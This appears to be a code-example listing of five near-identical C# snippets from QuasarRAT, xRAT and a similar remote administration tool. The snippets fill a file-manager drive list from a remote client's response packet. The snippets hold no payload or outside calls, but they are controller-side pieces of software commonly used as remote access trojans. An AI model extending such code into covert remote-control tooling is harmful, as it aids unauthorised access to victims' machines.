コード例 #1
0
ファイル: FrmFileManager.cs プロジェクト: peters/QuasarRAT
 public void AddDrives(RemoteDrive[] drives)
 {
     try
     {
         cmbDrives.Invoke((MethodInvoker) delegate
         {
             cmbDrives.DisplayMember = "DisplayName";
             cmbDrives.ValueMember = "RootDirectory";
             cmbDrives.DataSource = new BindingSource(drives, null);
         });
     }
     catch (InvalidOperationException)
     {
     }
 }
コード例 #2
0
        public static void HandleGetDrivesResponse(Client client, GetDrivesResponse packet)
        {
            if (client.Value.FrmFm == null || packet.DriveDisplayName == null || packet.RootDirectory == null)
            {
                return;
            }

            if (packet.DriveDisplayName.Length != packet.RootDirectory.Length)
            {
                return;
            }

            RemoteDrive[] drives = new RemoteDrive[packet.DriveDisplayName.Length];
            for (int i = 0; i < packet.DriveDisplayName.Length; i++)
            {
                drives[i] = new RemoteDrive(packet.DriveDisplayName[i], packet.RootDirectory[i]);
            }

            client.Value.FrmFm.AddDrives(drives);
        }
コード例 #3
0
ファイル: FrmFileManager.cs プロジェクト: tempbottle/xRAT
 public void AddDrives(RemoteDrive[] drives)
 {
     try
     {
         cmbDrives.Invoke((MethodInvoker) delegate
         {
             cmbDrives.DisplayMember = "DisplayName";
             cmbDrives.ValueMember = "RootDirectory";
             cmbDrives.DataSource = new BindingSource(drives, null);
         });
     }
     catch (InvalidOperationException)
     {
     }
     catch (Exception ex)
     {
         MessageBox.Show(
             string.Format(
                 "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
                 ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
     }
 }
コード例 #4
0
        public static void getDrivesResponse(ClientMosaic client, GetDrivesResponse packet)
        {
            if (client.value == null || client.value.frmFm == null || packet.driveDisplayName == null || packet.rootDirectory == null)
            {
                return;
            }

            if (packet.driveDisplayName.Length != packet.rootDirectory.Length)
            {
                return;
            }

            RemoteDrive[] drives = new RemoteDrive[packet.driveDisplayName.Length];
            for (int i = 0; i < packet.driveDisplayName.Length; i++)
            {
                drives[i] = new RemoteDrive(packet.driveDisplayName[i], packet.rootDirectory[i]);
            }

            if (client.value != null && client.value.frmFm != null)
            {
                client.value.frmFm.addDrives(drives);
                client.value.frmFm.setStatus("Ready");
            }
        }
コード例 #5
0
        public static void HandleGetDrivesResponse(Client client, GetDrivesResponse packet)
        {
            if (client.Value == null || client.Value.FrmFm == null || packet.DriveDisplayName == null || packet.RootDirectory == null)
                return;

            if (packet.DriveDisplayName.Length != packet.RootDirectory.Length) return;

            RemoteDrive[] drives = new RemoteDrive[packet.DriveDisplayName.Length];
            for (int i = 0; i < packet.DriveDisplayName.Length; i++)
            {
                drives[i] = new RemoteDrive(packet.DriveDisplayName[i], packet.RootDirectory[i]);
            }

            if (client.Value != null && client.Value.FrmFm != null)
            {
                client.Value.FrmFm.AddDrives(drives);
                client.Value.FrmFm.SetStatus("Ready");
            }
        }